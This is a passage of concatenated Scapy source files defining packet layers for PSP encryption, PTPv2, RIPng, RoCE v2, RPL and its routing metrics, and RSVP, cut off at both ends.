the secret key used for encryption :raise scapy.layers.psp.PSPCipherError: if the requested cipher is unsupported """ cipher = self.sanitize_cipher() encrypt_start_offset = 16 + self.cryptoffset * 4 iv = struct.pack("!L", self.spi) + self.iv plain = b'' to_encrypt = bytes(self.data) self.data = b'' psp_header = bytes(self) header_length = len(psp_header) # Header should always be fully plaintext if header_length < encrypt_start_offset: plain = to_encrypt[:encrypt_start_offset - header_length] to_encrypt = to_encrypt[encrypt_start_offset - header_length:] cipher = cipher(key) payload = cipher.encrypt(iv, to_encrypt, psp_header + plain) self.data = plain + payload def decrypt(self, key): """ Decrypt a PSP packet :param key: the secret key used for encryption :raise scapy.layers.psp.PSPIntegrityError: if the integrity check fails with an AEAD algorithm :raise scapy.layers.psp.PSPCipherError: if the requested cipher is unsupported """ cipher = self.sanitize_cipher() self.icv_size = 16 iv = struct.pack("!L", self.spi) + self.iv data = self.data[:len(self.data) - self.icv_size] icv = self.data[len(self.data) - self.icv_size:] decrypt_start_offset = 16 + self.cryptoffset * 4 plain = b'' to_decrypt = bytes(data) self.data = b'' psp_header = bytes(self) header_length = len(psp_header) # Header should always be fully plaintext if header_length < decrypt_start_offset: plain = to_decrypt[:decrypt_start_offset - header_length] to_decrypt = to_decrypt[decrypt_start_offset - header_length:] cipher = cipher(key) try: data = cipher.decrypt(iv, to_decrypt + icv, psp_header + plain) self.data = plain + data except InvalidTag as err: raise PSPIntegrityError(err) bind_bottom_up(UDP, PSP, dport=1000) bind_bottom_up(UDP, PSP, sport=1000) bind_top_down(UDP, PSP, dport=1000, sport=1000) ############################################################################### class PSPCipherError(Exception): """ Error risen when the cipher is unsupported. """ pass class PSPIntegrityError(Exception): """ Error risen when the integrity check fails. """ pass ================================================ FILE: scapy/contrib/ptp_v2.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) Satveer Brar # scapy.contrib.description = Precision Time Protocol v2 # scapy.contrib.status = loads """ PTP (Precision Time Protocol). References : IEEE 1588-2008 """ import struct from scapy.packet import Packet, bind_layers from scapy.fields import ( BitEnumField, BitField, ByteField, IntField, LongField, ShortField, ByteEnumField, FlagsField, XLongField, XByteField, ConditionalField, ) from scapy.layers.inet import UDP ############################################################################# # PTPv2 ############################################################################# # IEEE 1588-2008 / Section 13.3.2.2 _message_type = { 0x0: "Sync", 0x1: "Delay_Req", 0x2: "Pdelay_Req", 0x3: "Pdelay_Resp", 0x4: "Reserved", 0x5: "Reserved", 0x6: "Reserved", 0x7: "Reserved", 0x8: "Follow_Up", 0x9: "Delay_Resp", 0xA: "Pdelay_Resp_Follow", 0xB: "Announce", 0xC: "Signaling", 0xD: "Management", 0xE: "Reserved", 0xF: "Reserved" } _control_field = { 0x00: "Sync", 0x01: "Delay_Req", 0x02: "Follow_Up", 0x03: "Delay_Resp", 0x04: "Management", 0x05: "All others", } _flags = { 0x0001: "alternateMasterFlag", 0x0002: "twoStepFlag", 0x0004: "unicastFlag", 0x0010: "ptpProfileSpecific1", 0x0020: "ptpProfileSpecific2", 0x0040: "reserved", 0x0100: "leap61", 0x0200: "leap59", 0x0400: "currentUtcOffsetValid", 0x0800: "ptpTimescale", 0x1000: "timeTraceable", 0x2000: "frequencyTraceable" } class PTP(Packet): """ PTP packet based on IEEE 1588-2008 / Section 13.3 """ name = "PTP" match_subclass = True fields_desc = [ BitField("transportSpecific", 0, 4), BitEnumField("messageType", 0x0, 4, _message_type), BitField("reserved1", 0, 4), BitField("version", 2, 4), ShortField("messageLength", None), ByteField("domainNumber", 0), ByteField("reserved2", 0), FlagsField("flags", 0, 16, _flags), LongField("correctionField", 0), IntField("reserved3", 0), XLongField("clockIdentity", 0), ShortField("portNumber", 0), ShortField("sequenceId", 0), ByteEnumField("controlField", 0, _control_field), ByteField("logMessageInterval", 0), ConditionalField(BitField("originTimestamp_seconds", 0, 48), lambda pkt: pkt.messageType in [0x0, 0x1, 0x2, 0xB]), ConditionalField(IntField("originTimestamp_nanoseconds", 0), lambda pkt: pkt.messageType in [0x0, 0x1, 0x2, 0xB]), ConditionalField(BitField("preciseOriginTimestamp_seconds", 0, 48), lambda pkt: pkt.messageType == 0x8), ConditionalField(IntField("preciseOriginTimestamp_nanoseconds", 0), lambda pkt: pkt.messageType == 0x8), ConditionalField(BitField("requestReceiptTimestamp_seconds", 0, 48), lambda pkt: pkt.messageType == 0x3), ConditionalField(IntField("requestReceiptTimestamp_nanoseconds", 0), lambda pkt: pkt.messageType == 0x3), ConditionalField(BitField("receiveTimestamp_seconds", 0, 48), lambda pkt: pkt.messageType == 0x9), ConditionalField(IntField("receiveTimestamp_nanoseconds", 0), lambda pkt: pkt.messageType == 0x9), ConditionalField(BitField("responseOriginTimestamp_seconds", 0, 48), lambda pkt: pkt.messageType == 0xA), ConditionalField(IntField("responseOriginTimestamp_nanoseconds", 0), lambda pkt: pkt.messageType == 0xA), ConditionalField(ShortField("currentUtcOffset", 0), lambda pkt: pkt.messageType == 0xB), ConditionalField(ByteField("reserved4", 0), lambda pkt: pkt.messageType == 0xB), ConditionalField(ByteField("grandmasterPriority1", 0), lambda pkt: pkt.messageType == 0xB), ConditionalField(ByteField("grandmasterClockClass", 0), lambda pkt: pkt.messageType == 0xB), ConditionalField(XByteField("grandmasterClockAccuracy", 0), lambda pkt: pkt.messageType == 0xB), ConditionalField(ShortField("grandmasterClockVariance", 0), lambda pkt: pkt.messageType == 0xB), ConditionalField(ByteField("grandmasterPriority2", 0), lambda pkt: pkt.messageType == 0xB), ConditionalField(XLongField("grandmasterIdentity", 0), lambda pkt: pkt.messageType == 0xB), ConditionalField(ShortField("stepsRemoved", 0), lambda pkt: pkt.messageType == 0xB), ConditionalField(XByteField("timeSource", 0), lambda pkt: pkt.messageType == 0xB) ] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes """ Update the messageLength field after building the packet """ if self.messageLength is None: pkt = pkt[:2] + struct.pack("!H", len(pkt)) + pkt[4:] return pkt + pay # Layer bindings bind_layers(UDP, PTP, sport=319, dport=319) bind_layers(UDP, PTP, sport=320, dport=320) ================================================ FILE: scapy/contrib/ripng.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Routing Information Protocol next gen (RIPng) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, IP6Field, ShortField from scapy.layers.inet import UDP class RIPng(Packet): name = "RIPng header" fields_desc = [ ByteEnumField("cmd", 1, {1: "req", 2: "resp"}), ByteField("ver", 1), ShortField("null", 0) ] class RIPngEntry(Packet): name = "RIPng entry" fields_desc = [ IP6Field("prefix_or_nh", "::"), ShortField("routetag", 0), ByteField("prefixlen", 0), ByteEnumField("metric", 1, {16: "Unreach", 255: "next-hop entry"}) ] bind_layers(UDP, RIPng, sport=521, dport=521) bind_layers(RIPng, RIPngEntry) bind_layers(RIPngEntry, RIPngEntry) ================================================ FILE: scapy/contrib/roce.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Haggai Eran # scapy.contrib.description = RoCE v2 # scapy.contrib.status = loads """ RoCE: RDMA over Converged Ethernet """ from scapy.packet import Packet, bind_layers, Raw from scapy.fields import ByteEnumField, ByteField, XByteField, \ ShortField, XShortField, XLongField, BitField, XBitField, FCSField from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6 from scapy.layers.l2 import Ether from scapy.compat import raw from scapy.error import warning from zlib import crc32 import struct from typing import ( Tuple ) _transports = { 'RC': 0x00, 'UC': 0x20, 'RD': 0x40, 'UD': 0x60, } _ops = { 'SEND_FIRST': 0x00, 'SEND_MIDDLE': 0x01, 'SEND_LAST': 0x02, 'SEND_LAST_WITH_IMMEDIATE': 0x03, 'SEND_ONLY': 0x04, 'SEND_ONLY_WITH_IMMEDIATE': 0x05, 'RDMA_WRITE_FIRST': 0x06, 'RDMA_WRITE_MIDDLE': 0x07, 'RDMA_WRITE_LAST': 0x08, 'RDMA_WRITE_LAST_WITH_IMMEDIATE': 0x09, 'RDMA_WRITE_ONLY': 0x0a, 'RDMA_WRITE_ONLY_WITH_IMMEDIATE': 0x0b, 'RDMA_READ_REQUEST': 0x0c, 'RDMA_READ_RESPONSE_FIRST': 0x0d, 'RDMA_READ_RESPONSE_MIDDLE': 0x0e, 'RDMA_READ_RESPONSE_LAST': 0x0f, 'RDMA_READ_RESPONSE_ONLY': 0x10, 'ACKNOWLEDGE': 0x11, 'ATOMIC_ACKNOWLEDGE': 0x12, 'COMPARE_SWAP': 0x13, 'FETCH_ADD': 0x14, } CNP_OPCODE = 0x81 def opcode(transport, op): # type: (str, str) -> Tuple[int, str] return (_transports[transport] + _ops[op], '{}_{}'.format(transport, op)) _bth_opcodes = dict([ opcode('RC', 'SEND_FIRST'), opcode('RC', 'SEND_MIDDLE'), opcode('RC', 'SEND_LAST'), opcode('RC', 'SEND_LAST_WITH_IMMEDIATE'), opcode('RC', 'SEND_ONLY'), opcode('RC', 'SEND_ONLY_WITH_IMMEDIATE'), opcode('RC', 'RDMA_WRITE_FIRST'), opcode('RC', 'RDMA_WRITE_MIDDLE'), opcode('RC', 'RDMA_WRITE_LAST'), opcode('RC', 'RDMA_WRITE_LAST_WITH_IMMEDIATE'), opcode('RC', 'RDMA_WRITE_ONLY'), opcode('RC', 'RDMA_WRITE_ONLY_WITH_IMMEDIATE'), opcode('RC', 'RDMA_READ_REQUEST'), opcode('RC', 'RDMA_READ_RESPONSE_FIRST'), opcode('RC', 'RDMA_READ_RESPONSE_MIDDLE'), opcode('RC', 'RDMA_READ_RESPONSE_LAST'), opcode('RC', 'RDMA_READ_RESPONSE_ONLY'), opcode('RC', 'ACKNOWLEDGE'), opcode('RC', 'ATOMIC_ACKNOWLEDGE'), opcode('RC', 'COMPARE_SWAP'), opcode('RC', 'FETCH_ADD'), opcode('UC', 'SEND_FIRST'), opcode('UC', 'SEND_MIDDLE'), opcode('UC', 'SEND_LAST'), opcode('UC', 'SEND_LAST_WITH_IMMEDIATE'), opcode('UC', 'SEND_ONLY'), opcode('UC', 'SEND_ONLY_WITH_IMMEDIATE'), opcode('UC', 'RDMA_WRITE_FIRST'), opcode('UC', 'RDMA_WRITE_MIDDLE'), opcode('UC', 'RDMA_WRITE_LAST'), opcode('UC', 'RDMA_WRITE_LAST_WITH_IMMEDIATE'), opcode('UC', 'RDMA_WRITE_ONLY'), opcode('UC', 'RDMA_WRITE_ONLY_WITH_IMMEDIATE'), opcode('RD', 'SEND_FIRST'), opcode('RD', 'SEND_MIDDLE'), opcode('RD', 'SEND_LAST'), opcode('RD', 'SEND_LAST_WITH_IMMEDIATE'), opcode('RD', 'SEND_ONLY'), opcode('RD', 'SEND_ONLY_WITH_IMMEDIATE'), opcode('RD', 'RDMA_WRITE_FIRST'), opcode('RD', 'RDMA_WRITE_MIDDLE'), opcode('RD', 'RDMA_WRITE_LAST'), opcode('RD', 'RDMA_WRITE_LAST_WITH_IMMEDIATE'), opcode('RD', 'RDMA_WRITE_ONLY'), opcode('RD', 'RDMA_WRITE_ONLY_WITH_IMMEDIATE'), opcode('RD', 'RDMA_READ_REQUEST'), opcode('RD', 'RDMA_READ_RESPONSE_FIRST'), opcode('RD', 'RDMA_READ_RESPONSE_MIDDLE'), opcode('RD', 'RDMA_READ_RESPONSE_LAST'), opcode('RD', 'RDMA_READ_RESPONSE_ONLY'), opcode('RD', 'ACKNOWLEDGE'), opcode('RD', 'ATOMIC_ACKNOWLEDGE'), opcode('RD', 'COMPARE_SWAP'), opcode('RD', 'FETCH_ADD'), opcode('UD', 'SEND_ONLY'), opcode('UD', 'SEND_ONLY_WITH_IMMEDIATE'), (CNP_OPCODE, 'CNP'), ]) class BTH(Packet): name = "BTH" fields_desc = [ ByteEnumField("opcode", 0, _bth_opcodes), BitField("solicited", 0, 1), BitField("migreq", 0, 1), BitField("padcount", 0, 2), BitField("version", 0, 4), XShortField("pkey", 0xffff), BitField("fecn", 0, 1), BitField("becn", 0, 1), BitField("resv6", 0, 6), BitField("dqpn", 0, 24), BitField("ackreq", 0, 1), BitField("resv7", 0, 7), BitField("psn", 0, 24), FCSField("icrc", None, fmt="!I")] @staticmethod def pack_icrc(icrc): # type: (int) -> bytes return struct.pack("!I", icrc & 0xffffffff)[::-1] def compute_icrc(self, p): # type: (bytes) -> bytes udp = self.underlayer if udp is None or not isinstance(udp, UDP): warning("Expecting UDP underlayer to compute checksum. Got %s.", udp and udp.name) return self.pack_icrc(0) ip = udp.underlayer if isinstance(ip, IP): # pseudo-LRH / IP / UDP / BTH / payload pshdr = Raw(b'\xff' * 8) / ip.copy() pshdr.chksum = 0xffff pshdr.ttl = 0xff pshdr.tos = 0xff pshdr[UDP].chksum = 0xffff pshdr[BTH].fecn = 1 pshdr[BTH].becn = 1 pshdr[BTH].resv6 = 0xff bth = pshdr[BTH].self_build() payload = raw(pshdr[BTH].payload) # add ICRC placeholder just to get the right IP.totlen and # UDP.length icrc_placeholder = b'\xff\xff\xff\xff' pshdr[UDP].payload = Raw(bth + payload + icrc_placeholder) icrc = crc32(raw(pshdr)[:-4]) & 0xffffffff return self.pack_icrc(icrc) elif isinstance(ip, IPv6): # pseudo-LRH / IPv6 / UDP / BTH / payload pshdr = Raw(b'\xff' * 8) / ip.copy() pshdr.hlim = 0xff pshdr.fl = 0xfffff pshdr.tc = 0xff pshdr[UDP].chksum = 0xffff pshdr[BTH].fecn = 1 pshdr[BTH].becn = 1 pshdr[BTH].resv6 = 0xff bth = pshdr[BTH].self_build() payload = raw(pshdr[BTH].payload) # add ICRC placeholder just to get the right IPv6.plen and # UDP.length icrc_placeholder = b'\xff\xff\xff\xff' pshdr[UDP].payload = Raw(bth + payload + icrc_placeholder) icrc = crc32(raw(pshdr)[:-4]) & 0xffffffff return self.pack_icrc(icrc) else: warning("The underlayer protocol %s is not supported.", ip and ip.name) return self.pack_icrc(0) # RoCE packets end with ICRC - a 32-bit CRC of the packet payload and # pseudo-header. Add the ICRC header if it is missing and calculate its # value. def post_build(self, p, pay): # type: (bytes, bytes) -> bytes p += pay if self.icrc is None: p = p[:-4] + self.compute_icrc(p) return p class CNPPadding(Packet): name = "CNPPadding" fields_desc = [ XLongField("reserved1", 0), XLongField("reserved2", 0), ] def cnp(dqpn): # type: (int) -> BTH return BTH(opcode=CNP_OPCODE, becn=1, dqpn=dqpn) / CNPPadding() class GRH(Packet): name = "GRH" fields_desc = [ BitField("ipver", 6, 4), BitField("tclass", 0, 8), BitField("flowlabel", 6, 20), ShortField("paylen", 0), ByteField("nexthdr", 0), ByteField("hoplmt", 0), XBitField("sgid", 0, 128), XBitField("dgid", 0, 128), ] class AETH(Packet): name = "AETH" fields_desc = [ XByteField("syndrome", 0), XBitField("msn", 0, 24), ] bind_layers(BTH, CNPPadding, opcode=CNP_OPCODE) bind_layers(Ether, GRH, type=0x8915) bind_layers(GRH, BTH) bind_layers(BTH, AETH, opcode=opcode('RC', 'ACKNOWLEDGE')[0]) bind_layers(BTH, AETH, opcode=opcode('RD', 'ACKNOWLEDGE')[0]) bind_layers(UDP, BTH, dport=4791) ================================================ FILE: scapy/contrib/rpl.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2020 Rahul Jadhav # scapy.contrib.description = Routing Protocol for LLNs (RPL) # scapy.contrib.status = loads """ RPL === RFC 6550 - Routing Protocol for Low-Power and Lossy Networks (RPL) draft-ietf-roll-efficient-npdao-17 - Efficient Route Invalidation +----------------------------------------------------------------------+ | RPL Options : Pad1 PadN TIO RIO PIO Tgt TgtDesc DODAGConfig DAGMC ...| +----------------------------------------------------------------------+ | RPL Msgs : DIS DIO DAO DAOACK DCO DCOACK | +----------------------------------------------------------------------+ | ICMPv6 : type 155 RPL | +----------------------------------------------------------------------+ """ from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, IP6Field, ShortField, \ BitField, BitEnumField, FieldLenField, StrLenField, IntField, \ ConditionalField from scapy.layers.inet6 import ICMPv6RPL, icmp6ndraprefs, _IP6PrefixField # https://www.iana.org/assignments/rpl/rpl.xhtml#mop RPLMOP = {0: "No Downward routes", 1: "Non-Storing", 2: "Storing with no multicast support", 3: "Storing with multicast support", 4: "P2P Route Discovery"} # https://www.iana.org/assignments/rpl/rpl.xhtml#control-message-options RPLOPTSSTR = {0: "Pad1", 1: "PadN", 2: "DAG Metric Container", 3: "Routing Information", 4: "DODAG Configuration", 5: "RPL Target", 6: "Transit Information", 7: "Solicited Information", 8: "Prefix Information Option", 9: "Target Descriptor", 10: "P2P Route Discovery"} class _RPLGuessOption(Packet): name = "Dummy RPL Option class" class RPLOptRIO(_RPLGuessOption): """ Control Option: Routing Information Option (RIO) """ name = "Routing Information" fields_desc = [ByteEnumField("otype", 3, RPLOPTSSTR), FieldLenField("len", None, length_of="prefix", fmt="B", adjust=lambda pkt, x: x + 6), ByteField("plen", None), BitField("res1", 0, 3), BitEnumField("prf", 0, 2, icmp6ndraprefs), BitField("res2", 0, 3), IntField("rtlifetime", 0xffffffff), _IP6PrefixField("prefix", None)] class RPLOptDODAGConfig(_RPLGuessOption): """ Control Option: DODAG Configuration """ name = "DODAG Configuration" fields_desc = [ByteEnumField("otype", 4, RPLOPTSSTR), ByteField("len", 14), BitField("flags", 0, 4), BitField("A", 0, 1), BitField("PCS", 0, 3), ByteField("DIOIntDoubl", 20), ByteField("DIOIntMin", 3), ByteField("DIORedun", 10), ShortField("MaxRankIncrease", 0), ShortField("MinRankIncrease", 256), ShortField("OCP", 1), ByteField("reserved", 0), ByteField("DefLifetime", 0xff), ShortField("LifetimeUnit", 0xffff)] class RPLOptTgt(_RPLGuessOption): """ Control Option: RPL Target """ name = "RPL Target" fields_desc = [ByteEnumField("otype", 5, RPLOPTSSTR), FieldLenField("len", None, length_of="prefix", fmt="B", adjust=lambda pkt, x: x + 2), ByteField("flags", 0), ByteField("plen", 0), _IP6PrefixField("prefix", None)] class RPLOptTIO(_RPLGuessOption): """ Control Option: Transit Information Option (TIO) """ name = "Transit Information" fields_desc = [ByteEnumField("otype", 6, RPLOPTSSTR), FieldLenField("len", None, length_of="parentaddr", fmt="B", adjust=lambda pkt, x: x + 4), BitField("E", 0, 1), BitField("flags", 0, 7), ByteField("pathcontrol", 0), ByteField("pathseq", 0), ByteField("pathlifetime", 0xff), _IP6PrefixField("parentaddr", None)] class RPLOptSolInfo(_RPLGuessOption): """ Control Option: Solicited Information """ name = "Solicited Information" fields_desc = [ByteEnumField("otype", 7, RPLOPTSSTR), ByteField("len", 19), ByteField("RPLInstanceID", 0), BitField("V", 0, 1), BitField("I", 0, 1), BitField("D", 0, 1), BitField("flags", 0, 5), IP6Field("dodagid", "::1"), ByteField("ver", 0)] class RPLOptPIO(_RPLGuessOption): """ Control Option: Prefix Information Option (PIO) """ name = "Prefix Information" fields_desc = [ByteEnumField("otype", 8, RPLOPTSSTR), ByteField("len", 30), ByteField("plen", 64), BitField("L", 0, 1), BitField("A", 0, 1), BitField("R", 0, 1), BitField("reserved1", 0, 5), IntField("validlifetime", 0xffffffff), IntField("preflifetime", 0xffffffff), IntField("reserved2", 0), IP6Field("prefix", "::1")] class RPLOptTgtDesc(_RPLGuessOption): """ Control Option: RPL Target Descriptor """ name = "RPL Target Descriptor" fields_desc = [ByteEnumField("otype", 9, RPLOPTSSTR), ByteField("len", 4), IntField("descriptor", 0)] class RPLOptPad1(_RPLGuessOption): """ Control Option: Pad 1 byte """ name = "Pad1" fields_desc = [ByteEnumField("otype", 0x00, RPLOPTSSTR)] class RPLOptPadN(_RPLGuessOption): """ Control Option: Pad N bytes """ name = "PadN" fields_desc = [ByteEnumField("otype", 0x01, RPLOPTSSTR), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] # https://www.iana.org/assignments/rpl/rpl.xhtml#control-message-options RPLOPTS = {0: RPLOptPad1, 1: RPLOptPadN, # 2: RPLOptDAGMC, defined in rpl_metrics.py 3: RPLOptRIO, 4: RPLOptDODAGConfig, 5: RPLOptTgt, 6: RPLOptTIO, 7: RPLOptSolInfo, 8: RPLOptPIO, 9: RPLOptTgtDesc} # RPL Control Message Handling class _RPLGuessMsgType(Packet): name = "Dummy RPL Message class" def guess_payload_class(self, payload): if isinstance(payload, str): otype = ord(payload[0]) else: otype = payload[0] return RPLOPTS.get(otype) class RPLDIS(_RPLGuessMsgType, _RPLGuessOption): """ Control Message: DODAG Information Solicitation (DIS) """ name = "DODAG Information Solicitation" fields_desc = [ByteField("flags", 0), ByteField("reserved", 0)] class RPLDIO(_RPLGuessMsgType, _RPLGuessOption): """ Control Message: DODAG Information Object (DIO) """ name = "DODAG Information Object" fields_desc = [ByteField("RPLInstanceID", 50), ByteField("ver", 0), ShortField("rank", 1), BitField("G", 1, 1), BitField("unused1", 0, 1), BitEnumField("mop", 1, 3, RPLMOP), BitField("prf", 0, 3), ByteField("dtsn", 240), ByteField("flags", 0), ByteField("reserved", 0), IP6Field("dodagid", "::1")] class RPLDAO(_RPLGuessMsgType, _RPLGuessOption): """ Control Message: Destination Advertisement Object (DAO) """ name = "Destination Advertisement Object" fields_desc = [ByteField("RPLInstanceID", 50), BitField("K", 0, 1), BitField("D", 0, 1), BitField("flags", 0, 6), ByteField("reserved", 0), ByteField("daoseq", 1), ConditionalField(IP6Field("dodagid", None), lambda pkt: pkt.D == 1)] class RPLDAOACK(_RPLGuessMsgType, _RPLGuessOption): """ Control Message: Destination Advertisement Object Acknowledgement (DAOACK) """ name = "Destination Advertisement Object Acknowledgement" fields_desc = [ByteField("RPLInstanceID", 50), BitField("D", 0, 1), BitField("reserved", 0, 7), ByteField("daoseq", 1), ByteField("status", 0), ConditionalField(IP6Field("dodagid", None), lambda pkt: pkt.D == 1)] # https://datatracker.ietf.org/doc/draft-ietf-roll-efficient-npdao/ class RPLDCO(_RPLGuessMsgType, _RPLGuessOption): """ Control Message: Destination Cleanup Object (DCO) """ name = "Destination Cleanup Object" fields_desc = [ByteField("RPLInstanceID", 50), BitField("K", 0, 1), BitField("D", 0, 1), BitField("flags", 0, 6), ByteField("status", 0), ByteField("dcoseq", 1), ConditionalField(IP6Field("dodagid", None), lambda pkt: pkt.D == 1)] # https://datatracker.ietf.org/doc/draft-ietf-roll-efficient-npdao/ class RPLDCOACK(_RPLGuessMsgType, _RPLGuessOption): """ Control Message: Destination Cleanup Object Acknowledgement (DCOACK) """ name = "Destination Cleanup Object Acknowledgement" fields_desc = [ByteField("RPLInstanceID", 50), BitField("D", 0, 1), BitField("flags", 0, 7), ByteField("dcoseq", 1), ByteField("status", 0), ConditionalField(IP6Field("dodagid", None), lambda pkt: pkt.D == 1)] # https://www.iana.org/assignments/rpl/rpl.xhtml#control-codes bind_layers(ICMPv6RPL, RPLDIS, code=0) bind_layers(ICMPv6RPL, RPLDIO, code=1) bind_layers(ICMPv6RPL, RPLDAO, code=2) bind_layers(ICMPv6RPL, RPLDAOACK, code=3) bind_layers(ICMPv6RPL, RPLDCO, code=7) bind_layers(ICMPv6RPL, RPLDCOACK, code=8) ================================================ FILE: scapy/contrib/rpl_metrics.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2020 Rahul Jadhav # scapy.contrib.description = Routing Metrics used for Path Calc in LLNs # scapy.contrib.status = loads """ RFC 6551 - Routing Metrics Used for Path Calculation in LLNs +----------------------------+ | Metrics & Constraint Types | +----------------------------+ | DAGMC Option | +----------------------------+ | RPL-DIO | +----------------------------+ """ import struct from scapy.compat import orb from scapy.packet import Packet from scapy.fields import ByteEnumField, ByteField, ShortField, BitField, \ BitEnumField, FieldLenField, StrLenField, IntField from scapy.layers.inet6 import _PhantomAutoPadField, _OptionsField from scapy.contrib.rpl import RPLOPTSSTR, RPLOPTS class _DAGMetricContainer(Packet): name = 'Dummy DAG Metric container' def post_build(self, pkt, pay): pkt += pay tmp_len = self.len if self.len is None: tmp_len = len(pkt) - 2 pkt = pkt[:1] + struct.pack("B", tmp_len) + pkt[2:] return pkt DAGMC_OBJTYPE = {1: "Node State and Attributes", 2: "Node Energy", 3: "Hop Count", 4: "Link Throughput", 5: "Link Latency", 6: "Link Quality Level", 7: "Link ETX", 8: "Link Color"} class DAGMCObjUnknown(Packet): """ Dummy unknown metric/constraint """ name = 'Unknown DAGMC Object Option' fields_desc = [ByteEnumField("otype", 3, DAGMC_OBJTYPE), FieldLenField("olen", None, length_of="odata", fmt="B"), StrLenField("odata", "", length_from=lambda pkt: pkt.olen)] @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): """ Dispatch hook for DAGMC sub-fields """ if _pkt: opt_type = orb(_pkt[0]) # Option type if opt_type in DAGMC_CLS: return DAGMC_CLS[opt_type] return cls AGG_RTMETRIC = {0: "additive", 1: "maximum", 2: "minimum", 3: "multiplicative"} # RFC 6551 class DAGMCObj(Packet): """ Set the length field in DAG Metric Constraint Control Option """ name = 'Dummy DAG MC Object' # RFC 6551 - 2.1 fields_desc = [ByteEnumField("otype", 0, DAGMC_OBJTYPE), BitField("resflags", 0, 5), BitField("P", 0, 1), BitField("C", 0, 1), BitField("O", 0, 1), BitField("R", 0, 1), BitEnumField("A", 0, 3, AGG_RTMETRIC), BitField("prec", 0, 4), ByteField("len", None)] def post_build(self, pkt, pay): pkt += pay tmp_len = self.len if self.len is None: tmp_len = len(pkt) - 4 pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:] return pkt class RPLDAGMCNSA(DAGMCObj): """ DAG Metric: Node State and Attributes """ name = "Node State and Attributes" otype = 1 # RFC 6551 - 3.1 fields_desc = DAGMCObj.fields_desc + [ # NSA Object Body Format ByteField("res", 0), BitField("flags", 0, 6), BitField("Agg", 0, 1), # A BitField("Overload", 0, 1), # O ] class RPLDAGMCNodeEnergy(DAGMCObj): """ DAG Metric: Node Energy """ name = "Node Energy" otype = 2 # RFC 6551 - 3.2 fields_desc = DAGMCObj.fields_desc + [ # NE Sub-Object Format BitField("flags", 0, 4), BitField("I", 0, 1), BitField("T", 0, 2), BitField("E", 0, 1), ByteField("E_E", 0) ] class RPLDAGMCHopCount(DAGMCObj): """ DAG Metric: Hop Count """ name = "Hop Count" otype = 3 # RFC 6551 - 3.3 fields_desc = DAGMCObj.fields_desc + [ # Sub-Object Format BitField("res", 0, 4), BitField("flags", 0, 4), ByteField("HopCount", 1) ] class RPLDAGMCLinkThroughput(DAGMCObj): """ DAG Metric: Link Throughput """ name = "Link Throughput" otype = 4 # RFC 6551 - 4.1 fields_desc = DAGMCObj.fields_desc + [ # Sub-Object Format IntField("Throughput", 1) ] class RPLDAGMCLinkLatency(DAGMCObj): """ DAG Metric: Link Latency """ name = "Link Latency" otype = 5 # RFC 6551 - 4.2 fields_desc = DAGMCObj.fields_desc + [ # NE Sub-Object Format IntField("Latency", 1) ] class RPLDAGMCLinkQualityLevel(DAGMCObj): """ DAG Metric: Link Quality Level (LQL) """ name = "Link Quality Level" otype = 6 # RFC 6551 - 4.3.1 fields_desc = DAGMCObj.fields_desc + [ # Sub-Object Format ByteField("res", 0), BitField("val", 0, 3), BitField("counter", 0, 5) ] class RPLDAGMCLinkETX(DAGMCObj): """ DAG Metric: Link ETX """ name = "Link ETX" otype = 7 # RFC 6551 - 4.3.2 fields_desc = DAGMCObj.fields_desc + [ # Sub-Object Format ShortField("ETX", 1) ] # Note: Wireshark shows warning decoding LinkColor. # This seems to be wireshark issue! class RPLDAGMCLinkColor(DAGMCObj): """ DAG Metric: Link Color """ name = "Link Color" otype = 8 # RFC 6551 - 4.4.1 fields_desc = DAGMCObj.fields_desc + [ # Sub-Object Format ByteField("res", 0), BitField("color", 1, 10), BitField("counter", 1, 6) ] DAGMC_CLS = {1: RPLDAGMCNSA, 2: RPLDAGMCNodeEnergy, 3: RPLDAGMCHopCount, 4: RPLDAGMCLinkThroughput, 5: RPLDAGMCLinkLatency, 6: RPLDAGMCLinkQualityLevel, 7: RPLDAGMCLinkETX, 8: RPLDAGMCLinkColor} class RPLOptDAGMC(_DAGMetricContainer): """ Control Option: DAG Metric Container """ name = "DAG Metric Container" fields_desc = [ByteEnumField("otype", 2, RPLOPTSSTR), ByteField("len", None), _PhantomAutoPadField("autopad", 0), _OptionsField("options", [], DAGMCObjUnknown, 8, length_from=lambda pkt: 8 * pkt.len)] # https://www.iana.org/assignments/rpl/rpl.xhtml#control-message-options RPLOPTS.update({2: RPLOptDAGMC}) ================================================ FILE: scapy/contrib/rsvp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information """ RSVP layer """ # scapy.contrib.description = Resource Reservation Protocol (RSVP) # scapy.contrib.status = loads from scapy.compat import chb from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \ IPField, ShortField, StrLenField, XByteField, XShortField from scapy.layers.inet import IP, checksum rsvpmsgtypes = {0x01: "Path", 0x02: "Reservation request", 0x03: "Path error", 0x04: "Reservation request error", 0x05: "Path teardown", 0x06: "Reservation teardown", 0x07: "Reservation request acknowledgment" } class RSVP(Packet): name = "RSVP" fields_desc = [BitField("Version", 1, 4), BitField("Flags", 1, 4), ByteEnumField("Class", 0x01, rsvpmsgtypes), XShortField("chksum", None), ByteField("TTL", 1), XByteField("dataofs", 0), ShortField("Length", None)] def post_build(self, p, pay): p += pay if self.Length is None: tmp_len = len(p) tmp_p = p[:6] + chb((tmp_len >> 8) & 0xff) + chb(tmp_len & 0xff) p = tmp_p + 